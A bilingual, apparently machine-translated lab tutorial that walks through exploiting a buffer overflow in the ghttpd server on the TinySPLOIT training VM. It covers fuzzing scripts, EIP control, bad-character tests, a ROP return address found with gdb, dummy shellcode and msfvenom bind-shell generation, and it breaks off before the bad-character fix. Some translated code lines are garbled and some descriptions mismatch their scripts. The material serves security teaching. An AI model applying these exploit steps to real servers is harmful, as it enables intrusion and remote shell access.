ED 207: Linux Buffer Overflow with ROP (15 pts) ED 207:使用ROP的Linux缓冲区溢出(15分)

What you need你需要什么

Purpose目的

To practice using gdb and ROP (Return Oriented Programming).练习使用gdb和ROP(面向返回编程)。

Task 1: Preparing the Target VM任务1:准备目标VM

Getting the Target获得目标

In a Web browser, go to在Web浏览器中,转到

http://blog.exploitlab.net/2014/07/tinysploit-warm-up-exercise-on-exploit.html http://blog.exploitlab.net/2014/07/tinysploit-warm-up-exercise-on-exploit.html

Download TinySPLOIT, a 30MB VMware image from that page.从该页面下载TinySPLOIT,一个30MB的VMware映像。 If that page is down, get it here:如果该页面已关闭,请在此处获取:

https://samsclass.info/127/proj/exploitlab_tinysploit.zip https://samsclass.info/127/proj/exploitlab_tinysploit.zip

Unzip the file and double-click the tinysploit.vmx file to launch it in VMware.解压缩文件并双击tinysploit.vmx文件以在VMware中启动它。

The target VM launches, as shown below.目标VM启动,如下所示。

This is a headless Linux Web server, serving a page at the URL displayed on the console, as outlined in green in the image below.这是一个无头的Linux Web服务器,在控制台上显示的URL上提供页面,如下图中的绿色所示。

Viewing the Target Web Page查看目标网页

On your host system, in a Web browser, go to the URL shown on the target VM's console.在主机系统上,在Web浏览器中,转到目标VM控制台上显示的URL。

A pretty Web page appears, with very terse hints for the exploitation, as shown below.将出现一个漂亮的Web页面,其中包含非常简洁的漏洞提示,如下所示。

If you feel 1337, ignore my instructions and exploit the VM using only the hints on this page.如果你觉得1337,请忽略我的指示并仅使用此页面上的提示来利用VM。 Otherwise, follow the instructions below.否则,请按照以下说明操作。

Task 2: Preparing an Attack Platform任务2:准备攻击平台

We'll use Python to expoit the target, so you need to have some other computer that can send requests to the target from Python.我们将使用Python来展示目标,因此您需要有一些其他计算机可以从Python向目标发送请求。 The simplest technique is to use the host system.最简单的技术是使用主机系统。

Mac or Linux Host Mac或Linux主机

If your host system is Mac or Linux, it already has Python and you're ready to go.如果你的主机系统是Mac或Linux,它已经有了Python,你已经准备好了。

Windows Host Windows主机

If the host systems is Windows, you must do one of these two things:如果主机系统是Windows,则必须执行以下两项操作之一:

Task 3: Fuzzing the Target任务3:模糊目标

HTTP GET in Python Python中的HTTP GET

Using a text editor, such as nano or Notepad, create this program, and name it get.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为get.py

This program sends an HTTP request for a page named "A".该程序发送一个名为“A”的页面的HTTP请求。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

req = "GET " + "A" req =“GET”+“A” 
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python get.py python get.py
The reply is "200 OK", as shown below.回复是“200 OK”,如下所示。

The GET request was accepted. GET请求被接受。

Fuzz1: 1000 A's Fuzz1:1000 A's

Using a text editor, such as nano or Notepad, create this program, and name it fuzz1.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为fuzz1.py

This program sends an HTTP request for a page with a long name: 1000 characters, all "A".该程序为具有长名称的页面发送HTTP请求:1000个字符,全部为“A”。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

req = "GET " + "A"*1000 req =“GET”+“A”* 1000 
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python fuzz1.py python fuzz1.py
There is no reply, as shown below.没有回复,如下所示。
Look at the target machine's console.查看目标机器的控制台。

It shows a "segfault" error, with "ip 41414141", as shown below.它显示“segfault”错误,带有“ip 41414141”,如下所示。

It looks like some of those "A" characters ended up in the instruction pointer!看起来这些“A”字符中的一些最终出现在指令指针中!

Fuzz2: Variable Number of A's Fuzz2:A的可变数量

Using a text editor, such as nano or Notepad, create this program, and name it fuzz2.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为fuzz2.py

This program sends an HTTP request for a page with a long name: 1000 characters, all "A".该程序为具有长名称的页面发送HTTP请求:1000个字符,全部为“A”。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

n = int( raw_input("Number of A's:")) n = int(raw_input(“A的数量:”))

req = "GET " + "A" * n req =“GET”+“A”* n
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python fuzz2.py python fuzz2.py
Run the program, trying various numbers of A's, as shown below.运行程序,尝试各种数量的A,如下所示。

170 A's is accepted, returning "200 OK", but 180 A's causes a crash. 170 A被接受,返回“200 OK”,但是180 A导致崩溃。

Ex3: Targeting EIP Ex3:针对EIP

Using a text editor, such as nano or Notepad, create this program, and name it ex3.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为ex3.py

This program sends an HTTP request for a page with a name like this:该程序发送一个页面的HTTP请求,其名称如下:

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

attack = "A" * 170 attack =“A”* 170
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"攻击+ =“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH”

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python ex3.py python ex3.py
The program crashes, with ip = 44434343, as shown below.程序崩溃,ip = 44434343,如下所示。

The last three "C" characters and the first "D" character ended up in the instruction pointer.最后三个“C”字符和第一个“D”字符最终出现在指令指针中。

Ex4: Targeting EIP Precisely Ex4:准确定位EIP

Now we have enough information to precisely control the instruction pointer.现在我们有足够的信息来精确控制指令指针。 The first nine characters of the string "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" are needed, and the next 4 bytes end up in the instruction pointer.需要字符串“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH”的前九个字符,接下来的4个字节最后在指令指针中。

So we can just increase the number of "A" characters to 170 + 9.所以我们可以将“A”字符的数量增加到170 + 9。

Using a text editor, such as nano or Notepad, create this program, and name it ex4.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为ex4.py

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

attack = "A" * 179 attack =“A”* 179
eip = "BCDE" eip =“BCDE”
attack += eip攻击+ = eip

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python ex4.py python ex4.py
The program crashes, with the message " ip 45444342 ", as shown below.程序崩溃,消息“ ip 45444342 ”,如下所示。 This is "BCDE", with the bytes in reverse order.这是“BCDE”,字节顺序相反。

Saving a Screen Image保存屏幕图像

Make sure the message " ip 45444342 " is visible, as shown in the image above.确保显示消息“ ip 45444342 ”,如上图所示。

Capture a whole-desktop image.捕获整个桌面图像。

Save the image with the filename " Your Name Proj 10xa ".使用文件名“ Your Name Proj 10xa ”保存图像。 Use your real name, not the literal text "Your Name".使用您的真实姓名,而不是文字“您的姓名”。

YOU MUST SUBMIT AN IMAGE OF THE WHOLE DESKTOP TO GET FULL CREDIT! 你必须提交整个桌面的图像才能获得全部信用!

Task 4: Identifying Bad Characters任务4:识别错误字符

Bad1: Observing the Problem坏1:观察问题

Using a text editor, such as nano or Notepad, create this program, and name it bad1.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为bad1.py

This program replaces the first 128 "A" characters with the ASCII characters from 0 through 127.该程序用0到127之间的ASCII字符替换前128个“A”字符。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

test = "" test =“”
for i in range(0,128): for i in range(0,128):
  test += chr(i) test + = chr(i)

attack = test + "A" * (170 - len(test)) attack = test +“A”*(170  -  len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"攻击+ =“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH”

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python bad1.py python bad1.py
There is no response, as shown below.没有回应,如下所示。 It no longer crashes, because one of the characters was interpreted as the end of the input string, so it's no longer long enough to overflow the buffer.它不再崩溃,因为其中一个字符被解释为输入字符串的结尾,所以它不再足以溢出缓冲区。 It's an incomplete request, so there is no reply.这是一个不完整的请求,所以没有回复。
Press Ctrl+C to stop the Python program.Ctrl + C停止Python程序。

Bad2: Testing Alphanumerics Bad2:测试字母数字

As shown below, ASCII values 0 through 32 contain all the likely field separators, such as Tab, CR, LF, and Space.如下所示,ASCII值0到32包含所有可能的字段分隔符,例如Tab,CR,LF和Space。

It seems likely that characters 33 through 127 are OK, so let's test that.字符33到127似乎很可能,所以让我们测试一下。

Using a text editor, such as nano or Notepad, create this program, and name it bad2.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为bad2.py

This program replaces the first 128 "A" characters with the ASCII characters from 0 through 127.该程序用0到127之间的ASCII字符替换前128个“A”字符。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

test = "" test =“”
for i in range(33,128):我在范围内(33,128):
  test += chr(i) test + = chr(i)

attack = test + "A" * (170 - len(test)) attack = test +“A”*(170  -  len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"攻击+ =“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH”

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python bad2.py python bad2.py
The program runs, but there is no reply from the server, as shown below.程序运行,但服务器没有回复,如下所示。
The console of your target machine now shows that the program crashed, as shown below.目标计算机的控制台现在显示程序崩溃,如下所示。 This proves that all characters from 33 through 127 are OK.这证明了从33到127的所有字符都可以。

Bad3: Testing High Values Bad3:测试高值

Now let's test characters 128 through 255.现在让我们测试128到255之间的字符。

Using a text editor, such as nano or Notepad, create this program, and name it bad3.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为bad3.py

This program replaces the first 128 "A" characters with the ASCII characters from 0 through 127.该程序用0到127之间的ASCII字符替换前128个“A”字符。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

test = "" test =“”
for i in range(128,256):我在范围内(128,256):
  test += chr(i) test + = chr(i)

attack = test + "A" * (170 - len(test)) attack = test +“A”*(170  -  len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"攻击+ =“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH”

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python bad3.py python bad3.py
The program runs.该程序运行。 The console shows another message showing a crash, as it did in the "bad2.py" test.控制台显示另一条显示崩溃的消息,就像在“bad2.py”测试中一样。

This proves that all characters from 33 through 255 are OK.这证明了33到255之间的所有字符都可以。

Bad4: Testing Characters One By One Bad4:逐个测试角色

Now let's make a program to test characters one at a time.现在让我们制作一个程序来一次测试一个角色。

Using a text editor, such as nano or Notepad, create this program, and name it bad4.py使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为bad4.py

This program places a single chosen character at the start of the attack.该程序在攻击开始时放置一个选定的角色。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

n = int( raw_input( "Ascii code:") ) n = int(raw_input(“Ascii code:”))

test = chr(n) test = chr(n)

attack = test + "A" * (170 - len(test)) attack = test +“A”*(170  -  len(test))
attack += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"攻击+ =“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH”

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python bad4.py python bad4.py
Enter an ASCII code of 0输入ASCII码0

The program hangs, because 0 is a bad character, terminating the attack string prematurely.程序挂起,因为0是一个坏字符,过早地终止了攻击字符串。

Press Ctrl+C to stop the program.Ctrl + C可停止程序。

Run the program again.再次运行该程序。 Enter an ASCII code of 1输入ASCII码1

The program runs and stops by itself, because the target process crashed.程序自行运行和停止,因为目标进程崩溃了。 Therefore, 1 is a good character.因此, 1是一个好人物。

Continue trying characters one at a time, as shown below.继续尝试一次一个字符,如下所示。 If you are unsure whether a character is bad, look at the console of the target to be sure.如果您不确定角色是否不好,请查看目标控制台以确定。 If the console shows a crash, the character is good.如果控制台显示崩溃,则角色很好。

You should be able to verify that there are three bad characters:您应该能够验证有三个不良字符:
0 10 13 0 10 13

Task 5: Finding the Crash任务5:找到崩溃

In the target console, or (better), in an SSH session connected to the target VM (username: root, password: exploitlab), execute this command:在目标控制台中,或者(更好),在连接到目标VM的SSH会话中(用户名:root,密码:exploitlab),执行以下命令:
netstat -pant netstat -pant 
Find the PID of the process listening on port 80. When I did it, the PID was 722, as shown below.找到在端口80上侦听的进程的PID。当我这样做时,PID为722,如下所示。
On the target machine, execute these commands, replacing the PID with your PID value:在目标计算机上,执行以下命令,将PID替换为PID值:
gdb --pid=722 gdb --pid = 722
c C 
This launches the debugger, attaches to the listening process, and "continues" execution, as shown below.这将启动调试器,附加到侦听进程,并“继续”执行,如下所示。
On your attack platform, execute this command:在攻击平台上,执行以下命令:
python ex4.py python ex4.py
The program crashes, with the message " ip 45444342 ", as shown below.程序崩溃,消息“ ip 45444342 ”,如下所示。
We want to examine memory just before the crash, to craft our exploit.我们想在崩溃之前检查内存,以制定我们的漏洞。

However, gdb doesn't allow us to step backwards to find the earlier instruction, and when the crash happens, $eip contains garbage.但是,gdb不允许我们向后退步以找到先前的指令,并且当崩溃发生时,$ eip包含垃圾。 How can we find the location of the code preceding the crash?我们怎样才能找到崩溃前代码的位置?

Finding the Pre-Crash Code with gdb使用gdb查找预崩溃代码

There are many ways to solve this problem, such as using a more powerful debugger.有许多方法可以解决此问题,例如使用功能更强大的调试器。 But we can do it with gdb simply by using the nexti command.但是我们只需使用nexti命令就可以使用gdb。

nexti performs a "step-over" -- it executes the next instruction in the calling function. nexti执行“步进” - 它执行调用函数中的下一条指令。 If the current instruction calls a function, the function completes and returns, so you stay at the same level.如果当前指令调用一个函数,则该函数完成并返回,因此您保持在同一级别。

Restarting the Debugging Session重新启动调试会话

Each connection to the server creates a new process, so we need to exit and re-enter gdb each time.每个与服务器的连接都会创建一个新进程,因此我们需要每次都退出并重新输入gdb。

To exit the current gdb session, in the gdb session, press q and press Enter .要退出当前gdb会话,请在gdb会话中按q并按Enter键 When a "Quit anyway? (y or n)?"什么时候“退出?(是或否)?” message appears, press y and press Enter .出现消息,按y并按Enter键

Then execute this command, replacing the number with the correct process ID on your system.然后执行此命令,将数字替换为系统上正确的进程ID。

gdb --pid=722 gdb --pid = 722
Gdb shows that the program is waiting in the accept() method, as shown below. Gdb显示程序在accept()方法中等待,如下所示。
On your attack platform, execute this command:在攻击平台上,执行以下命令:
python ex4.py python ex4.py
In gdb, execute this command to perform 10 instructions.在gdb中,执行此命令以执行10条指令。
nexti 10 nexti 10
Hold down the Enter key to repeat the command until the program crashes.按住Enter键重复该命令,直到程序崩溃。 Several screens of text will scroll by.几个文本屏幕将滚动。

Find the last instruction address before the crash.在崩溃之前找到最后的指令地址。 When I did it, that address was 0x0804ae50, as shown below.当我这样做时,该地址为0x0804ae50,如下所示。

Inserting a Breakpoint插入断点

To exit the current gdb session, in the gdb session, press q and press Enter .要退出当前gdb会话,请在gdb会话中按q并按Enter键 If a "Quit anyway? (y or n)?"如果“无论如何退出?(是或否)?” message appears, press y and press Enter .出现消息,按y并按Enter键

Then execute these commands, replacing the process ID with the correct value for your system.然后执行这些命令,将进程ID替换为系统的正确值。

gdb --pid=827 gdb --pid = 827
b * 0x0804ae50 b * 0x0804ae50 
c C
The program waits for a connection, as shown below.程序等待连接,如下所示。

On your attack platform, execute this command:在攻击平台上,执行以下命令:

python ex4.py python ex4.py
The program proceeds to the breakpoint, as shown below.程序进入断点,如下所示。

Disassembling Code Near the Crash在崩溃附近拆卸代码

In your gdb session, execute this command.在gdb会话中,执行此命令。
x/10i 0x0804ae50 x / 10i 0x0804ae50
Then press Enter to repeat the instruction.然后按Enter重复该指令。

As shown below, we are near the end of a function.如下所示,我们接近函数的末尾。 The crash happens at the ret instruction, as shown below.崩溃发生在ret指令处,如下所示。

Examining the Stack Just Before the Crash在碰撞之前检查堆栈

To exit the current gdb session, in the gdb session, press q and press Enter .要退出当前gdb会话,请在gdb会话中按q并按Enter键 If a "Quit anyway? (y or n)?"如果“无论如何退出?(是或否)?” message appears, press y and press Enter .出现消息,按y并按Enter键

Then execute these commands.然后执行这些命令。 First we'll examine the stack before the leave instruction.首先,我们将在离开指令之前检查堆栈。

gdb --pid=827 gdb --pid = 827
b * 0x0804ae7c b * 0x0804ae7c 
c C
On your attack platform, execute this command:在攻击平台上,执行以下命令:
python ex4.py python ex4.py
Gdb hits the breakpoint, as shown below. Gdb命中断点,如下所示。

In your gdb session, execute this command:在gdb会话中,执行以下命令:

info registers信息寄存器
Note the values of esp and ebp, as shown below.注意esp和ebp的值,如下所示。

When I did it, ebp was 0xbfffba28, as shown below.当我这样做时,ebp是0xbfffba28,如下所示。

To view the stack frame, in your gdb session, execute this command:要查看堆栈帧,请在gdb会话中执行以下命令:
x/220x $esp x / 220x $ esp
As a visual aid, highlight the stack frame, ending the highlighting with the 32-bit word starting at ebp, as shown below.作为视觉辅助,突出显示堆栈帧,使用从ebp开始的32位字结束突出显示,如下所示。

The next word will end up in eip when the return is executed.执行返回时,下一个单词将在eip中结束。 It's outlined in green in the image below.它在下图中以绿色标出。 The "ex4.py" attack puts the characters "BCDE" here, shown in hexadecimal as 0x45444342. “ex4.py”攻击将字符“BCDE”放在此处,以十六进制显示为0x45444342。

There are also two copies of our injected string on the stack, shown by the 0x41414141 bytes.我们在堆栈上注入的字符串也有两个副本,显示为0x41414141字节。

Task 6: Planning the Exploit任务6:规划漏洞利用

Finding a Useful Address寻找有用的地址

We now have control of the eip.我们现在控制了eip。 We need to inject shellcode and jump to it.我们需要注入shellcode并跳转到它。 The classic procedure would be to replace some of the "A" characters with shellcode and then set eip to the start of the injected code.经典的过程是用shellcode替换一些“A”字符,然后将eip设置为注入代码的开头。 But every modern operating system has Address Space Layout Randomization, so that type of attack rarely works anymore.但是每个现代操作系统都有地址空间布局随机化,因此攻击类型很少能够运行。 Let's use Return Oriented Programming (ROP) instead.让我们使用面向返回编程(ROP)。

Typically, the last command before the crash is some form of strcpy, with the input characters stored in a string variable on the stack.通常,崩溃之前的最后一个命令是某种形式的strcpy,输入字符存储在堆栈中的字符串变量中。 That means the stack will contain a pointer to a copy of the characters we injected.这意味着堆栈将包含指向我们注入的字符副本的指针。

To perform the leave instruction and then view the top portion of the stack frame, in your gdb session, execute these commands:要执行leave指令,然后查看堆栈帧的顶部,请在gdb会话中执行以下命令:

stepi步骤1
x/4x $esp x / 4x $ esp
The fourth word on the stack is 0xbfffbb90, as shown below.堆栈上的第四个字是0xbfffbb90,如下所示。
To view that portion of the stack, in your gdb session, execute this command:要查看堆栈的该部分,请在gdb会话中执行以下命令:
x/30x 0xbfffbb90 x / 30x 0xbfffbb90
This address contains characters we injected, starting with 0x41414141, as shown below.该地址包含我们注入的字符,从0x41414141开始,如下所示。

The Joy of POP POP RET POP POP RET的喜悦

How can we change eip to the fourth word on the stack?我们如何才能将eip更改为堆栈中的第四个字? The simplest way is POP, POP, RET.最简单的方法是POP,POP,RET。 And that is a very common construction, so we should be able to easily find a series of instructions like that.这是一个非常常见的结构,所以我们应该能够轻松找到这样的一系列指令。

Finding the .text Section找到.text部分

To see the memory layout of the program, in your gdb session, execute this command:要查看程序的内存布局,请在gdb会话中执行以下命令:
info proc map info proc map
There are various sections, including places for the heap, the stack, and library code, as shown below.有各种部分,包括堆,堆栈和库代码的位置,如下所示。 But all we need is the first section, containing some of the object code for the main executable "ghttpd", as highlighted in the image below.但我们需要的只是第一部分,其中包含主要可执行文件“ghttpd”的一些目标代码,如下图所示。

This section starts at address 0x8048000.本节从地址0x8048000开始。

Viewing Assembly Code in ghttpd在ghttpd中查看汇编代码

To see the assembly code in the first section, in your gdb session, execute this command:要在第一部分中查看汇编代码,请在gdb会话中执行以下命令:
x/20i 0x8048000 x / 20i 0x8048000
The first 20 instructions appear, as shown below.出现前20条指令,如下所示。 Quickly scan the mnemonic column, starting with "jg" and "dec".快速扫描助记符列,以“jg”和“dec”开头。 You can see that there is no POP, POP, RET there.你可以看到那里没有POP,POP,RET。
In your gdb session, press Enter to see the next 20 instructions.在您的gdb会话中,按Enter键以查看接下来的20条指令。

Look for POP, POP, RET.寻找POP,POP,RET。

It's not there.它不在那里。 Even trying the next 30 pages of code does not reveal it.即使尝试接下来的30页代码也无法揭示它。 We need a better way to search through this code.我们需要一种更好的方法来搜索此代码。

Logging gdb Output记录gdb输出

We'll use the gdb log to capture the assembly code.我们将使用gdb日志来捕获汇编代码。

In your gdb session, execute these commands:在您的gdb会话中,执行以下命令:

set logging on设置登录
x/2000i 0x8048000 x / 2000i 0x8048000
q q
If a "Quit anyway? (y or n)?"如果“无论如何退出?(是或否)?” message appears, press y and press Enter .出现消息,按y并按Enter键

Viewing the Log查看日志

In the SSH session controlling the target system, execute these commands:在控制目标系统的SSH会话中,执行以下命令:
ls -l ls -l
head gdb.txt头gdb.txt
As shown below, the logfile contains 76 Kb of assembly code, and the first ten lines look the same as the assembly code we saw in gdb.如下所示,日志文件包含76 Kb的汇编代码,前十行看起来与我们在gdb中看到的汇编代码相同。

Searching the Log with grep使用grep搜索日志

To find lines containing "ret", in the SSH session controlling the target system, execute this command:要查找包含“ret”的行,请在控制目标系统的SSH会话中执行以下命令:
grep ret gdb.txt grep ret gdb.txt
As shown below, there are five lines containing "ret".如下所示,有五行包含“ret”。
To display lines containing "ret", and 4 lines before each of them, in the SSH session controlling the target system, execute this command:要显示包含“ret”的行,并在每个行之前显示4行,请在控制目标系统的SSH会话中执行以下命令:
grep -B 4 ret gdb.txt grep -B 4 ret gdb.txt
As shown below, the third one contains code we can use: POP, POP, RET, at address 0x8049102.如下所示,第三个包含我们可以使用的代码:POP,POP,RET,地址为0x8049102。

Exploit Layout利用布局

Now we have all the information we need.现在我们拥有了所需的所有信息。

Here's the structure of our current "ex4.py" exploit:这是我们当前“ex4.py”漏洞利用的结构:

Here's the structure of our planned exploit:这是我们计划的漏洞利用的结构:

Task 7: Using Dummy Shellcode任务7:使用虚拟Shellcode

Restarting the Debugging Session重新启动调试会话

In the gdb session, press q and press Enter .在gdb会话中,按q并按Enter键 If a "Quit anyway? (y or n)?"如果“无论如何退出?(是或否)?” message appears, press y and press Enter .出现消息,按y并按Enter键

Execute these commands, replacing the "722" with the correct process id for your target.执行这些命令,将“722”替换为目标的正确进程ID。

gdb --pid=722 gdb --pid = 722
c C 

INT 3 or "\xCC" INT 3或“\ xCC”

Before getting real shellcode, let's test the exploit with fake shellcode containing "\xCC" characters.在获得真正的shellcode之前,让我们用包含“\ xCC”字符的假shellcode测试漏洞。 "\xCC" is the INT 3 instruction, which stops execution and returns control to the debugger. “\ xCC”是INT 3指令,它停止执行并将控制权返回给调试器。 This is the instruction the debugger uses to implement breakpoints.这是调试器用于实现断点的指令。

Ex5: Testing ROP with Dummy Shellcode Ex5:使用Dummy Shellcode测试ROP

On your attacking system, using a text editor, such as nano or Notepad, create this program, and name it ex5.py在攻击系统上,使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为ex5.py

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

nopsled = "\x90" * 20 nopsled =“\ x90”* 20
dummy = "\xCC" * 80 dummy =“\ xCC”* 80
padding = "A" * (179 - len(dummy) - len(nopsled)) padding =“A”*(179  -  len(dummy) -  len(nopsled))
eip = "\x02\x91\x04\x08" eip =“\ x02 \ x91 \ x04 \ x08”

attack = nopsled + dummy + padding + eip attack = nopsled + dummy + padding + eip

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Execute this command to run the program.执行此命令以运行该程序。
python ex5.py python ex5.py
The target halts, with the message "Program received signal SIGTRAP, Trace/breakpoint trap.", as shown below.目标停止,消息“Program received signal SIGTRAP,Trace / breakpoint trap。”,如下所示。

Note the address it halts at.注意它停止的地址。 When I did it, the address was 0xbfffbba5, as shown below.当我这样做时,地址是0xbfffbba5,如下所示。

To see the bytes near the halting point, on the target system, in your gdb session, execute this command.要查看暂停点附近的字节,请在目标系统上的gdb会话中执行此命令。 Replace "0xbfffbba5" with the correct address from your system.将“0xbfffbba5”替换为系统中的正确地址。
x/40x 0xbfffbba5 - 0x10 x / 40x 0xbfffbba5  -  0x10
As shown above, our exploit worked as expected.如上所示,我们的漏洞利用按预期工作。 It passed through the NOP sled (the "90" bytes) and halted when it hit the "CC" bytes.它通过NOP底座(“90”字节)并在达到“CC”字节时停止。

Task 8: Generating Real Shellcode任务8:生成实时Shellcode

Start a Kali Linux virtual machine.启动Kali Linux虚拟机。

In a Terminal window, execute this command to see the available payloads in Metasploit.在终端窗口中,执行此命令以查看Metasploit中的可用有效负载。

msfvenom --list payloads | msfvenom --list payloads | more更多 
A long list of payloads appears, as shown below.将显示一长串有效负载,如下所示。
Press Ctrl+C to exit the list.Ctrl + C退出列表。

To narrow the list to bind shells for 32-bit Linux, execute this command to see the available payloads in Metasploit.要缩小列表以绑定32位Linux的shell,请执行此命令以查看Metasploit中的可用有效负载。

msfvenom --list payloads | msfvenom --list payloads | grep linux | grep linux | grep x86 | grep x86 | grep bind grep绑定 
A long list of payloads appears, as shown below.将显示一长串有效负载,如下所示。

We'll use the simplest shellcode, avoiding "staged" payloads: linux/x86/shell_bind_tcp , as outlined in green below:我们将使用最简单的shellcode,避免使用“staged”有效负载: linux / x86 / shell_bind_tcp ,如下面的绿色所示:

To see the payload options, execute this command:要查看有效内容选项,请执行以下命令:
msfvenom -p linux/x86/shell_bind_tcp --payload-options msfvenom -p linux / x86 / shell_bind_tcp --payload-options
Notice these facts about the payload, as shown below.请注意有关有效负载的这些事实,如下所示。
To generate Python shellcode, we only need to specify the output format--we don't need to set any parameters.要生成Python shellcode,我们只需要指定输出格式 - 我们不需要设置任何参数。

Execute this command:执行以下命令:

msfvenom -p linux/x86/shell_bind_tcp -f python msfvenom -p linux / x86 / shell_bind_tcp -f python
Python code appears, as shown below.出现Python代码,如下所示。

However, this code contains a null byte, as highlighted in the image below, so it won't work because it will prematurely terminate the injected string.但是,此代码包含一个空字节,如下图所示,因此它将无法工作,因为它会过早地终止注入的字符串。

Generating Code Without Bad Characters生成没有错误字符的代码

